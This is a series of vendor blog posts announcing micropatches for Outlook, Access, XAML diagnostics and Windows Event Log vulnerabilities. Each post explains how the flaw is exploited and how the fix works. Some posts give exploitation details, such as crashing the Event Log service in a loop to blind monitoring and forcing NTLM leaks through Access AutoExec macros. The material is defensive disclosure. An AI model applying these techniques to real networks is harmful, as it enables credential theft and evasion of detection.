Normal view

There are new articles available, click to refresh the page.
Before yesterdayReverse Engineering

Micropatches Released for Microsoft Outlook "MonikerLink" Remote Code Execution Vulnerability (CVE-2024-21413)

15 March 2024 at 15:06

 


In February 2024, still-Supported Microsoft Outlook versions got an official patch for CVE-2024-21413, a vulnerability that allowed an attacker to execute arbitrary code on user's computer when the user opened a malicious hyperlink in attacker's email.

The vulnerability was discovered by Haifei Li of Check Point Research, who also wrote a detailed analysis. Haifei reported it as a bypass for an existing security mechanism, whereby Outlook refuses to open a file from a shared folder on the Internet (which could expose user's NTLM credentials in the process). The bypass works by adding an exclamation mark ("!") and some arbitrary text to the end of the file path, which turns the link into a "Moniker link". When opening moniker links, Windows download the file, open it and attempt to instantiate the COM object referenced by the text following the exclamation mark. An immediate result of this is that an SMB request is automatically sent to the remote (attacker's) server, revealing user's NTLM credentials. An additional risk is that this could lead to arbitrary code execution.

 

Official Patch

Microsoft patched this issue by effectively cutting off  "Moniker link" processing for Outlook email hyperlinks. They did this in an unusual way, however. In contrast to their typical approach - changing the source code and rebuilding the executable file -, they ventured deep into "our" territory and hot-patched this issue with an in-memory patch. Hmm, why would they do that?

The answer lies in the fact that the behavior they wanted to change is implemented in ole32.dll,  but this DLL is being used by many applications and they didn't want to affect them all (some of them may rely on moniker links being processed). So what they did was use their Detours package to replace ole32.dll's  MkParseDisplayName function (the one parsing moniker links) with an essentially empty function - but only in Outlook.


Our Micropatch

While still-supported Microsoft Office versions have received the official vendor fix for this vulnerability, Office 2010 and 2013 - which we have security-adopted - are also vulnerable. In order to protect our users, we have created our own micropatch for this vulnerability.

We could implement a logically identical patch to Microsoft's by patching ole32.dll and checking in the patch if the running process is outlook.exe - but since ole32.dll is a Windows system file, this would require creating a patch for all Windows versions and then porting the patch every time this file is updated by Windows updates in the future. Not ideal.

Instead, we decided to take a different route. When parsing the hyperlink, Outlook at some point calls the HlinkCreateFromString function, which then calls further into ole32.dll and eventually to MkParseDisplayName, which we wanted to cut off.

A quick detour (pun intended) of our own here: The HlinkCreateFromString documentation states the following:

[Never pass strings from a non-trusted source. When creating a hyperlink with HlinkCreateFromString, the pwzTarget parameter is passed to MkParseDisplayNameEx. This call is safe, but the less safe MkParseDisplayName will be called for the string under the following circumstances:

    Not a file or URL string.
    Does not contain a colon or forward slash.
    Less than 256 characters.

A pwzTarget string of the form "@progid!extra" will instantiate the object registered with the specified progid and, if it implements the IMoniker interface, invoke IMoniker::ParseDisplayName with the "extra" string. A malicious object could use this opportunity to run unexpected code. ]

This, we believe, is the reason why Microsoft categorized the flaw at hand as "remote code execution."

Okay, back to our patch. There exists a function very similar to HlinkCreateFromString called HlinkCreateFromMoniker. This function effectively does the same with a moniker as the former does with a string, but without ever calling MkParseDisplayName. Our patch now simply replaces the call to (unsafe) HlinkCreateFromString with a call to (safe) HlinkCreateFromMoniker using a moniker that it first creates from the hyperlink string. To minimize the impact, this is only done for "file://" URLs containing an exclamation mark.


Micropatch Availability

The micropatch was written for the following security-adopted versions of Office with all available updates installed:

  1. Microsoft Office 2013
  2. Microsoft Office 2010

This micropatch has already been distributed to, and applied on, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevented that). 

Vulnerabilities like this one get discovered on a regular basis, and attackers know about them. If you're using Office 2010 or 2013, 0patch will make sure such vulnerabilities won't be exploited on your computers - and you won't even have to know or care about updating.

If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

To learn more about 0patch, please visit our Help Center

We'd like to thank Haifei Li for sharing their analysis, which allowed us to create a micropatch and protect our users against this attack. We also encourage all security researchers to privately share their analyses with us for micropatching.

Micropatches Released for Microsoft Outlook Information Disclosure Vulnerability (CVE-2023-35636)

23 February 2024 at 13:51

 


 

In December 2023, still-Supported Microsoft Outlook versions got an official patch for CVE-2023-35636, a vulnerability that allowed an attacker to coerce user's Outlook to authenticate to attacker's remote server, revealing user's NTLM hash in the process.

The vulnerability was discovered by Varonis researcher Dolev Taler, who wrote up a detailed article about it. In summary, a calendar file attached to an email can point to any URL, including a UNC path on a remote computer - and when the user tried to open such file, their computer would connect to the remote network share and, upon request, authenticate to it and reveal user's NTLM hash.

Microsoft's December patch changed Outlook's behavior such that whenever an ICS (calendar) file is opened from a specified location (instead of as an attachment), Outlook would display a security warning alerting the user about the potentially harmful content and asking their approval to continue.

While still-supported Microsoft Office versions have received the official vendor fix for this vulnerability, Office 2010 and 2013 - which we have security-adopted - are also vulnerable. In order to protect our users, we have created our own micropatch for this vulnerability.

Our patch is logically identical to Microsoft's.


Micropatch Availability

The micropatch was written for the following security-adopted versions of Office with all available updates installed:

  1. Microsoft Office 2013
  2. Microsoft Office 2010

This micropatch has already been distributed to, and applied on, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevented that). 

Vulnerabilities like this one get discovered on a regular basis, and attackers know about them. If you're using Office 2010 or 2013, 0patch will make sure such vulnerabilities won't be exploited on your computers - and you won't even have to know or care about updating.

If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

To learn more about 0patch, please visit our Help Center

We'd like to thank Dolev Taler for sharing their analysis, which allowed us to create a micropatch and protect our users against this attack. We also encourage all security researchers to privately share their analyses with us for micropatching.

 

Micropacthes For "OverLog", Remote Denial of Service Vulnerability in Windows Event Log Service (CVE-2022-37981)

19 February 2024 at 17:38

 


We recently delivered patches for the "LogCrusher" vulnerability that allows an attacker to remotely crash Windows Event Log service on some older Windows systems that we have security-adopted. Varonis researcher Dolev Taler, who found and reported that issue to Microsoft, also found another related issue they called "OverLog" (described in the same article).

OverLog allows a remote attacker to backup Internet Explorer logs to a chosen location on the remote computer, which can lead to all disk space being consumed.

OverLog was officially patched by Microsoft in October 2022 and assigned CVE-2022-37981.


Analysis

This one was a bit tougher to crack as the flaw is a missing privilege check in the server-side BackupEventLog function. As stated by Varonis and Microsoft in their official documentation, the BackupEventLog function allegedly checks if the calling user possesses the SE_BACKUP_NAME/SeBackupPrivilege privilege, and errors out if they don't. Varonis discovered that these checks in fact did not exist, so any user who could access an event source could call this function and create a horde of files on the target computer.

Although creating files is the intended functionality of the BackupEventLog function (it should allow privileged users the creation of log backups), it contains no failsafe for when the disk space is low. This can allow a remote user to effectively DOS any machine in the same domain that contains a writable location for their account. 

Microsoft patched this by restricting the Internet Explorer log interface access to deny non-admin users from opening it and performing such operations. The following images show the effect of their patch.


Old security descriptor, allowing everyone access to Internet Explorer logs


New security descriptor, only allowing local and domain administrators to access Internet Explorer logs


Our Micropatch

We wanted to patch this in a way that doesn't permanently affect our users' machines and allows the patch to be applied without any restarts. We decided to create a patch that would bring the behavior "into spec" set by Microsoft's documentation on the BackupEventLog function. Our patch is applied directly to this function and checks the calling user's token for the SE_BACKUP_NAME/SeBackupPrivilege privilege. If the user does not possess it, the function errors out and doesn't create the backup file. 

It is also worth noting that even empty logs with incorrect security descriptors are vulnerable to this attack. Our tests showed that a backup of an empty log creates a file with 68KB of data, which can still be used to DOS a machine given some time and patience.

While supported Windows versions got an official patch for OverLog in October 2022, several of our security-adopted versions haven't. We therefore made our own patch for these.

Our patch is logically identical to Microsoft's.


Micropatch Availability

Micropatches were written for: 
  1. Windows 10 v2004 - fully updated
  2. Windows 10 v1909 - fully updated
  3. Windows 10 v1809 - fully updated
  4. Windows 10 v1803 - fully updated
  5. Windows 7 - no ESU, ESU1, ESU2
  6. Windows Server 2008 R2 - no ESU, ESU1, ESU2
 
Micropatches have already been distributed to, and applied on, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevent that). 

Vulnerabilities like this one get discovered on a regular basis, and attackers know about them all. If you're using Windows that aren't receiving official security updates anymore, 0patch will make sure these vulnerabilities won't be exploited on your computers - and you won't even have to know or care about these things.

If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

To learn more about 0patch, please visit our Help Center

We'd like to thank Dolev Taler of Varonis for sharing vulnerability details, which allowed us to reproduce it and create a micropatch. We also encourage all security researchers who want to see their vulnerabilities patched to share them with us or alert us about their publications.

The interesting parts of this post were written by our patching expert Blaz Satler ;)

Micropatches For Another Remote Windows Event Log Denial Of Service ("LogCrusher", no CVE)

9 February 2024 at 18:00

 


While recently patching the (still 0day) "EventLogCrasher" vulnerability, we came across another similar vulnerability published in January 2023 by Dolev Taler, a security researcher at Varonis.

Dolev's article details two Windows Event Log-related vulnerabilities they had reported to Microsoft in May 2022: one ("LogCrusher") allowing a remote attacker to crash the Event Log service on any computer in a Windows domain, and the other ("OverLog") allowing for remotely filling up the disk on any domain computer by misusing a log backup function. Both vulnerabilities were targeting the Internet Explorer log that had permissions set such that any domain user could access it remotely.

Dolev's article states that OverLog was officially patched by Microsoft in October 2022 and assigned CVE-2022-37981, while the fate of LogCrusher remained unclear. Interestingly though, the title of Microsoft's advisory was "Windows Event Logging Service Denial of Service Vulnerability", which would match LogCrusher more than OverLog. In addition, it stated "the performance can be interrupted and/or reduced, but the attacker cannot fully deny service," which describes what happens with Event Log service when it crashes (see our EventLogCrasher post for details on that) and doesn't make much sense in the context of OverLog.

And what did the October 2022 patch do exactly? It simply changed the permissions on the Internet Explorer log such that non-administrative domain users could no longer access it. This may explain why, according to Dolev's article, Microsoft "closed “LogCrusher” [and] stated that they rated it as moderate severity because it required an administrator privilege [...] to exploit." Perhaps at that point, they had already decided to close the Internet Explorer log for non-admins, which would also protect the LogCrusher from non-admin exploitation.

That would make sense. But it wouldn't be exactly in line with Microsoft's documentation: the BackupEventLog capability, affected by OverLog, should only be available to users with SE_BACKUP_NAME privilege. Prior to the patch, all domain users had access (which is wrong), but after the patch, only Administrators have access (which is also not aligned with the documentation; non-admin users can be given SE_BACKUP_NAME privilege, too).

In any case, we were still interested in LogCrusher, so we did a quick analysis and learned the following:

  1. LogCrusher is very similar to EventLogCrasher in terms of exploitation: providing a NULL string to the remote Event Log service via RPC results in memory access violation which crashes the service. In addition, attacker's required access is the same in both cases: any domain user can remotely crash Event Log service on all domain computers. The impact of both vulnerabilities is therefore comparable.

  2. LogCrusher got patched with November 2022 Windows updates, one month after CVE-2022-37981. We "diffed" Windows updates and noticed a change to wevtsvc.dll that removed this vulnerability by adding a check for a NULL pointer as shown below. (Which is what our patch for EventLogCrasher does as well, and Microsoft's future patch for it surely will, too.)

  3. Microsoft assigned no CVE to LogCrusher in November 2022 updates, and extended no public acknowledgment to the reporting researcher for it. (See this list of all CVEs patched in November 2022 - nothing related to Event Log service.) We find it likely that Microsoft decided to cover both OverLog and LogCrusher with CVE-2022-37981, although these are two distinct vulnerabilities.

 

Let's look at Microsoft's November 2022 patch for LogCrusher in function PerformClearRequest (wevtsvc.dll): at some point in the code, the pointer to the "Backup file name" string, provided by the remote user, is loaded in register rcx. But the attacker was able to make this a NULL pointer, and before the patch, this pointer was blindly used in a subsequent mov r9, [rcx+8] instruction - which clearly caused an access violation if rcx was NULL. Microsoft's patch added a check for NULL and now puts a NULL into r9 if that happens. Function ClearChannelLogs, which then uses this value, is expecting the possibility of a NULL argument, so all is well.


 

Our Micropatch

While supported Windows versions got an official patch for LogCrusher in November 2022, several of our security-adopted versions haven't. We therefore made our own patch for these.

Our patch is logically identical to Microsoft's.


Micropatch Availability

Micropatches were written for: 
  1. Windows 10 v2004 - fully updated
  2. Windows 10 v1909 - fully updated
  3. Windows 10 v1809 - fully updated
  4. Windows 10 v1803 - fully updated
  5. Windows 7 - no ESU, ESU1, ESU2
  6. Windows Server 2008 R2 - no ESU, ESU1, ESU2
 
Micropatches have already been distributed to, and applied on, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevent that). 

Vulnerabilities like this one get discovered on a regular basis, and attackers know about them all. If you're using Windows that aren't receiving official security updates anymore, 0patch will make sure these vulnerabilities won't be exploited on your computers - and you won't even have to know or care about these things.

If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

To learn more about 0patch, please visit our Help Center

We'd like to thank Dolev Taler of Varonis for sharing vulnerability details, which allowed us to reproduce it and create a micropatch. We also encourage all security researchers who want to see their vulnerabilities patched to share them with us or alert us about their publications.

Update 2/19/2024: Micropatches for OverLog are now also available.

Micropatches Released For Microsoft Windows XAML diagnostics API Elevation of Privilege (CVE-2023-36003)

6 February 2024 at 16:06

 


December 2023 Windows Updates brought a patch for CVE-2023-36003, a privilege escalation vulnerability in Microsoft Windows XAML diagnostics API. The vulnerability allows a low-privileged Windows process to execute arbitrary code in a higher-privileged process running in the same user session, and is therefore useful for elevating from a non-admin to admin user.

Security researcher Michael Maltsev, who found this vulnerability and reported it to Microsoft in July 2023, wrote a detailed article and published a POC. These allowed us to reproduce the issue and create a micropatch for users of legacy Windows systems, which are no longer receiving security updates from Microsoft.


Our Micropatch

As Michael has already noted, there were two changes in the December version of Windows.UI.Xaml.dll, but only one seems to be related to this issue: namely the one that sets the security descriptor of the process's XAML diagnostics API interface to the current process's integrity level. Consequently, only processes that have at least the same integrity level as the target process will be allowed to utilize the affected functionality (and have arbitrary code executed in the target process).

Our micropatch is functionally identical to Microsoft's.

Let's see our micropatch in action. A local unprivileged user launches the POC, which periodically attempts to locate a privileged process to sent the offensive XAML diagnostics request to. Another process (Windows Magnifier) is then launched as administrator; the POC quickly finds it and requests that it loads a malicious DLL that then spawns a new command window - as Administrator. This demonstrates that arbitrary code could be executed in the privileged process. With 0patch enabled, the POC fails to attack the privileged process as our patch makes sure that only high-integrity processes could send XAML diagnostics requests to the high-integrity process (Magnifier).

Note that in a real attack, the attacker would actually be malware silently running in the background, waiting for the user to launch another process with higher privileges and then attacking that process.



Micropatch Availability

Micropatches were written for the following security-adopted versions of Windows with all available Windows Updates installed:

  1. Windows 11 v21H1 - fully updated
  2. Windows 10 v21H1 - fully updated
  3. Windows 10 v20H2 - fully updated
  4. Windows 10 v2004 - fully updated
  5. Windows 10 v1909 - fully updated
  6. Windows 10 v1809 - fully updated
  7. Windows 10 v1803 - fully updated
 
We were unable to reproduce the vulnerability on Windows Server 2012, Windows 7 and Server 2008 R2.
 
Micropatches have already been distributed to, and applied on, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevent that). 

Vulnerabilities like this one get discovered on a regular basis, and attackers know about them all. If you're using Windows that aren't receiving official security updates anymore, 0patch will make sure these vulnerabilities won't be exploited on your computers - and you won't even have to know or care about these things.

If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

We would like to thank Michael Maltsev for sharing their analysis, which made it possible for us to create a micropatch for this issue.

To learn more about 0patch, please visit our Help Center.

 

The "EventLogCrasher" 0day For Remotely Disabling Windows Event Log, And a Free Micropatch For It

31 January 2024 at 14:57

 


Update 2/14/2024: February Windows Updates did not patch this issue, so it remains a 0day. We did have to re-issue patches for three Windows versions because the updates changed wevtsvc.dll and patches had to be ported to the new versions.

Update 3/14/2024: March Windows Updates did not patch this issue, so it remains a 0day. We did have to re-issue our patch for Windows Server 2022 because the update changed wevtsvc.dll and our patch had to be ported to the new DLL.

If you ever troubleshooted anything on Windows or investigated a suspicious event, you know that Windows store various types of events in Windows Event Log. An application crashed and you want to know more about it? Launch the Event Viewer and check the Application log. A service behaving strangely? See the System log. A user account got unexpectedly blocked? The Security log may reveal who or what blocked it.

All these events are getting stored to various logs through the Windows Event Log service. Unsurprisingly, this service's description says: "Stopping this service may compromise security and reliability of the system."

The Windows Event Log service performs many tasks. Not only is it responsible for writing events coming from various source to persistent file-based logs (residing in %SystemRoot%\System32\Winevt\Logs\), it also provides structured access to these stored events through applications like Event Viewer. Furthermore, this service also performs "event forwarding" if you want your events sent to a central log repository like Splunk or Sumo Logic, an intrusion detection system or a SIEM server.

Therefore, Windows Event Log service plays an important role in many organizations' intrusion detection and forensic capabilities. And by extension, their compliance check boxes.



The "EventLogCrasher" 0day

"That's a nice Event Log service you have here.
Would be a shame if something happened to it."

- every attacker


On January 23, 2024, security researcher Florian published details on a vulnerability that allows any authenticated user in a Windows environment (including in Windows domain) to crash Windows Event Log service either locally or on any remote computer (!)

As Florian explained, "according to MSRC, the bug does not meet the bar for servicing and therefore they allowed me to publish a proof of concept." In addition, "they claimed it was a duplicate of another bug from 2022 (coincidence?) that didn't meet the requirements for servicing."

Florian's POC (proof of concept) is remarkably simple: it makes a single call to RegisterEventSourceW, which retrieves a handle to an event log on the specified computer. (This function allows an application on computer A to obtain a handle to, say "Application" log on computer B, by sending a specific request to computer B's Windows Event Log service.) However, before the request is sent to the target computer, the POC modifies its in-memory structure to confuse the receiving Event Log service. It manages to confuse it so much to cause a null-pointer dereference and crash the service. The attack only takes a second and works reliably.

The good news at this point is that Windows Event Log service is set to automatically restart if unexpectedly stopped. The bad news is that it only gets restarted twice, then not anymore. So crashing the Event Log service three times makes it persistently stopped.

Now, what does this mean? With Windows Event Log service stopped, no events can be written to logs, forwarded to other locations, or read from logs using event logging functions. For all practical purposes, logging has gone dark. And indeed, any Application events, and many other event source's events that occur during the service downtime get irrecoverably lost.

Fortunately, Security and System events don't get lost - at least not yet. Someone was smart enough to expect the possibility of a temporarily unavailable Event Log service and implemented an event queue for these important events. If Windows can't report a Security or System event (perhaps some others too, we did not investigate), they put such event in some internal queue that then periodically retries to log all queued events until they finally succeed. We found no useful information about this queue's implementation or configuration; in fact, the only official mention of this queue we could find was Event 4612(S), described as "This event is generated when audit queues are filled and events must be discarded. This most commonly occurs when security events are being generated faster than they are being written to disk."

Our tests have shown that such queue in fact exists: if we left the Event Log service stopped and let some Security and System events occur, these events - of course - could not get logged. But after we started the Event Log service, they quickly got logged. Clearly something was storing them and making a real effort to get them logged. This is not really perfect news for the attacker: while security and system events they might trigger would not be logged while the Event Log service was down, they would get logged if the admin subsequently started the service.

Obviously, our next step was to see if the event queue survives a computer restart. Assuming that every Windows computer eventually gets restarted (at least still-supported ones on every second Tuesday), and that an admin noticing problems with logging may also decide to restart the computer, the question was: would queued events get lost?

And the answer was, they do not get lost. Apparently the event queue, presumably in memory, gets stored to disk when the system is gracefully shut down or restarted, and re-read upon startup. Once the Event Log service is running again, the queue is emptied into appropriate logs, with correct time stamps nonetheless.

What about a non-graceful system shutdown or restart? If the attacker manages to cause a blue screen on the computer where events are being stored in the event queue, these events will actually be irrecoverably lost. So there's an unexpected bonus value in ping of death vulnerabilities.

The final question was, can Windows firewall or access permissions stop this attack? After all, event-collecting apps such as Sumo Logic require enabling remote event log management-related firewall rules (disabled by default) and adding the remote user to the Event Log Readers group (empty by default). Nope, even though such apps do not work and connecting to a remote Event Log with Event Viewer does not work without such firewall and permissions adjustments, the attack at hand works by default. In fact, the attack takes place over a named pipe (i.e., SMB protocol), and unless you can afford to completely disable SMB - no network shares, no printers, no many other things - we don't believe you can configure Windows to prevent this attack from an attacker in your network.

So far we've discovered that a low-privileged attacker can crash the Event Log service both on the local machine and on any other Windows computer in the network they can authenticate to. In a Windows domain, this means all domain computers including domain controllers.

During the service downtime, any detection mechanisms ingesting Windows logs will be blind, allowing the attacker to take time for further attacks - password brute-forcing, exploiting remote services with unreliable exploits that often crash them, or running every attacker's favorite whoami - without being noticed.

Knowing that the "dark times" can soon end when some admin decides to restart machines or start the Event Log service, a clever attacker could simply run the POC in a never-ending loop to make sure that as soon as the Event Log service is back up, it gets crashed again. It would be really difficult for an admin to even know that it was an attacker crashing the service, as we all know computer things often stop working unexpectedly even without malicious assistance.

Keeping the service down long enough could, after some time, reach the point of saturating the event queue to its limit - at least we assume there's a limit or there wouldn't have been a need for Event 4612(S). Having reached this point, attacker's activities would from there on be irrecoverably un-logged.


The Flaw

As Florian noted in the POC document, "the crash occurs in wevtsvc!VerifyUnicodeString when an attacker sends a malformed UNICODE_STRING object to the ElfrRegisterEventSourceW method exposed by the RPC-based EventLog Remoting Protocol."

Indeed, the POC causes the wevtsvc!VerifyUnicodeString function inside the Event Log service to reference a null pointer, which causes an unhandled access violation. This function received a single argument, a pointer to a UNICODE_STRING structure, whereby for some reason, the Buffer element of the structure, which should point to the actual buffer, points to 0. The function doesn't expect that, at least not in the first part of the code, and crashes as shown on the image below. Also on the image, you can see that later in the code there is a check for the pointer being 0 - but too late.



Vulnerable function wevtsvc!VerifyUnicodeString

Our immediate goal was to provide a patch to our users as quickly as possible, so we haven't investigated further how the UNCODE_STRING structure was created with a null pointer. We plan to do that later, as it may reveal other similar flaws.

 

Our Micropatch

Our patch is simple: we just added a test for null pointer where such test was missing in the original code. The patch therefore consists of just two instructions: a compare operation and a conditional jump. The image below shows our patch (green code blocks) inserted in the original code (white blocks and the blue "Trampoline" block).



Our patch inserted in the original code


The following video shows both the POC and our patch in action. On the left side is the target computer, a fully updated Windows Server 2019 acting as domain controller. The firewall rules are in their default configuration, with all three Remote Event Log Management rules disabled, to show that the firewall does not stop the attack. The Event Log service is running and 0patch Agent is initially disabled.

On the right side is the attacker's Windows workstation, whereby the attacker is a regular Domain Users member. The attacker launches the POC against the domain controller and immediately crashes the Event Log service.

The same test is then repeated with 0patch Agent enabled, which applies our in-memory micropatch to the Event Log service process (of course without restarting the computer). This time, the POC fails to crash the service because our patch detects the presence of a null pointer and makes sure it does not cause a memory access violation.






Micropatch Availability

Since this is a "0day" vulnerability with no official vendor fix available, we are providing our micropatches for free until such fix becomes available.

Micropatches were written for: 

  1. Windows 11 v22H2, v23H2 - fully updated
  2. Windows 11 v21H2 - fully updated
  3. Windows 10 v22H2 - fully updated
  4. Windows 10 v21H2 - fully updated
  5. Windows 10 v21H1 - fully updated
  6. Windows 10 v20H2 - fully updated
  7. Windows 10 v2004 - fully updated
  8. Windows 10 v1909 - fully updated
  9. Windows 10 v1809 - fully updated
  10. Windows 10 v1803 - fully updated
  11. Windows 7 - no ESU, ESU1, ESU2, ESU3
  12. Windows Server 2022 - fully updated
  13. Windows Server 2019 - fully updated
  14. Windows Server 2016 - fully updated
  15. Windows Server 2012 - no ESU, ESU1
  16. Windows Server 2012 R2 - no ESU, ESU1
  17. Windows Server 2008 R2 - no ESU, ESU1, ESU2, ESU3, ESU4
 

These micropatches have already been distributed to all online 0patch Agents. If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com. Everything else will happen automatically. No computer reboot will be needed.

To learn more about 0patch, please visit our Help Center

We'd like to thank Florian for sharing vulnerability details, which allowed us to reproduce it and create a micropatch. We also encourage all security researchers who want to see their vulnerabilities patched to privately share them with us.


Frequently Asked Questions

Q: Which Windows versions are affected?

A: Currently, ALL Windows versions are affected, from Windows 7 up to the latest Windows 11 and from Server 2008 R2 to Server 2022

Q: What level of access does the attacker need to exploit this?

A: The attacker needs network connectivity to the target computer, and be able to authenticate to said computer as any kind of  user (even a low-privileged one). Therefore, the attacker can always crash the Event Log service on the local machine, and can crash Event Log service on all Windows computers in the same Windows domain, including on domain controllers.

Q: Can this be exploited remotely by an attacker via the Internet?

A:No, the attacker must be able to send SMB requests to the target computer. Internet-facing Windows computers are unlikely to have SMB connectivity open to the Internet, and Windows computers in local networks even less so. The attacker must therefore already be in the local network.

Q: Is there any way to mitigate this attack with Windows configuration?

A: Short of denying SMB connectivity to the target computer (which would disable file and printer sharing, and various RPC-based mechanisms), we're not aware of any way to mitigate the attack.

Q: Doesn't Windows Firewall block this attack? After all, there are three pre-defined firewall rules for allowing Remote Event Log Management, which need to be manually enabled to allow remote event log management.

A: While these firewall rules indeed need to be enabled to allow remote event log management, this attack works regardless. Again, it works in the default Windows Firewall configuration.

Q: Does this vulnerability affect our IDS/SIEM?

A: It does if your IDS/SIEM is collecting Windows event logs. If the attacker crashes the Event Log service on a computer, that computer won't be able to forward events to such IDS/SIEM. Any alerts that may be triggered based on  Windows events will not be triggered during this time.

Q: Are events occurring during the Event Log service downtime irrecoverably lost?

A: Events generated by sources that don't use event queuing are irrecoverably lost - this includes Application logs (including events about Event Log service crashing). Security and System events are queued in memory and can get stored to the event log later when Event Log service becomes available again. Queued events can get irrecoverably lost in case the computer ungracefully shots down (e.g., due to a blue screen or power-off), or if the queue gets full. Unfortunately we don't know how many events the queue can hold.

Q: What should we do if we suspect someone crashed the Event Log service on one of our computers?

A: We recommend trying to salvage any potentially queued Security and System events by first disconnecting the computer from the network (if possible, to prevent further attacks) and manually starting the Windows Event Log service. As the service remains running, it will collect queued log events and store them to files so that even an ungraceful shutdown will not delete them. You can  observe these events coming in with Event Viewer. When queued events are collected, reconnect the computer to the network to allow IDS/SIEM to collect them as well. If the Event Log service keeps getting stopped/crashed when you start it, it may be under constant attack so you will have to disconnect the computer from the network to keep it running. In this case, you can also inspect network traffic (incoming SMB connections to \pipe\eventlog to see where the attack is coming from.

Q: What do we have to do to use your micropatch for this vulnerability?

A: Create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com. Our micropatch will be downloaded and applied automatically. For information about central management, multi-user role-based support, and other enterprise features, please contact [email protected]

Q: If we use your micropatch, what will happen if/when Microsoft provides their own patch for this issue?

A: 0patch co-exists nicely with official vendor updates because our patches are only applied in memory without changing original executable files. When Microsoft provides their own patch, they will replace various DLLs and EXEs, including the one in which our micropatch is getting applied. This will automatically ensure that our micropatch stops getting applied. In other words, you won't have to do anything in addition to installing Windows Updates to stop using our micropatch and start using Microsoft's patch.

Q: Is 0patch providing any other security patches?

A: Of course! We provide many "legacy Windows" patches and "0day patches" like this one. The former help our users keep unsupported Windows machines from Windows 7 to Windows 11 and from Server 2008 R2 to Server 2012 running securely, and the latter help in cases like this where the vendor doesn't have an official patch available yet, or has decided not to provide patches anymore (e.g. for NTLM hash disclosure issues). To learn more about 0patch, please visit our Help Center or contact [email protected] for a trial or demo.

Free Micropatches For Microsoft Access Forced Authentication Through Firewall (0day)

25 November 2023 at 00:28


 

Update 2/14/2024: Either January 30 or February 1 Office update brought a fix for this issue: now, Access warns the user for any ODBC connection to SQL Server. Our patch only shows a warning when such connection is made on non-standard ports 80 or 443, because these would carry user's NTLM hash through a company firewall, so Microsoft's patch might display more - in our view unnecessary - warnings. So what CVE ID did this issue get? Well, it doesn't seem to have gotten one: neither January 30 nor February 1 Office update mention any changes in Access, and February Windows Updates also have no suitable match. So far, this issue seems to have been fixed silently. With official patch available, our patches for this issue are no longer FREE and require a PRO or Enterprise license. Our patch was available 66 days before Microsoft's.

On November 9, 2023, Check Point Research published an article about an "information disclosure" / "forced authentication" vulnerability in Microsoft Access that allows an attacker to obtain the victim's NTLM hash by having them open a Microsoft Office document (docx, rtf, accdb, etc.) with an embedded Access database.

Many similar vulnerabilities have been disclosed in the last few years, all having a common theme of forcing a Windows process to authenticate to attacker's server and thereby disclose credentials of Windows user or a privileged service account to the attacker. Microsoft has patched some of them, but decided not to patch others: DFSCoerce, PrinterBug/SpoolSample and PetitPotam still don't have an official patch today and our micropatches remain the only patches available for these (our customers who can't stop using NTLM really appreciate them). RemotePotato0 was initially experiencing a similar fate but was then silently fixed 9 months after publication. ShadowCoerce was just as silently fixed 6 months after publication. On the other hand, a WordPad vulnerability from this same category, leaking user's NTLM hash to a web share upon opening an RTF document, was openly patched by Microsoft just last month.

It's hard to tell how Microsoft decides whether to patch a forced authentication vulnerability or not - and this one in Microsoft Access just adds to the confusion. Let's see how.


The Vulnerability

As Haifei Li, security researcher at Check Point, describes in their detailed article, a remote SQL Server database link can be inserted to a Microsoft Access database with "Windows NT authentication", which will force such authentication - and leak user's NTLM hash - every time the table with such link is refreshed in Access. So far, this would be a "classic" forced authentication issue, only different from most others in the fact that the connection isn't established on "classic" SMB and RPC ports but on SQL Server's port 1433. Which is expected to be filtered for outbound traffic from internal network towards the Internet.

But as Haifei noted, the database link can override the default port and specify an arbitrary port, including 80 or 443 - which are both typically allowed by firewalls for outbound connections so users in the network can browse the Internet. This makes things more interesting, and impact-wise almost comparable to the previously mentioned WordPad issue. Why "almost"? Because it's not enough just to open a Word document with such Access database embedded: to force a refresh of the database link, the user has to "open" the linked Access table by clicking on it.

To overcome this limitation, Haifei found that the AutoExec macro can be used to automatically open the table and force a refresh. But hey, macros have already been blocked for documents coming from the Internet, so how would this even work?

Well, we first need to understand something Haifei calls "simple Access macros". Admittedly, we did not know that Access macros come in two flavors, and we couldn't find any relevant results on this phrase on the Internet, but that's probably because Haifei usually knows more about the targeted product than the Internet does.

"Simple Access macros" are limited macros that only allow you to perform a set of predefined harmless actions, in contrast to "full-fledged regular macros" (sorry, another unofficial term) that are actual VBScript code capable of doing pretty much anything on the computer, including downloading and executing ransomware. It turned out that simple Access macros are blocked neither by the Access macro policy nor by the Protected View. In addition, if you name such macro AutoExec, it will get executed upon opening the Access database.

Putting two and two together, Haifei created an Access database with a remote SQL Server database link, Windows NT authentication, and an AutoExec macro that opened the linked table - and embedded that in a Word document because users prefer opening Word documents to Access databases. Now, there is no "almost" there anymore: this issue is impact-wise identical to the WordPad issue.

Checkpoint reported this vulnerability to Microsoft in January 2023 and were in July still "unable to obtain conclusive answer because the issue is considered as “low/none severity”, according to the MSRC reply." They did notice, however, that at some point during this period, Access started showing this security dialog when opening their PoC file:

 


So, was this issue silently fixed too? Nope, at least not successfully: while the above dialog is certainly triggered by the presence of the AutoExec macro (it shows even when AutoExec is the only active content), closing this informational dialog either by pressing OK or clicking the X still leads to the AutoExec macro being executed and user's credentials being sent to attacker's server. The only way to block the exploit when this dialog is displayed is to forcefully kill the msaccess.exe process, e.g. using Windows Task Manager.

In summary, we have active content that is detected, user informed about it being blocked, and then still getting executed unless the user kills Access with Task Manager. Not ideal.


Our Analysis

We tried to make sense of all this and here's what we think happened.

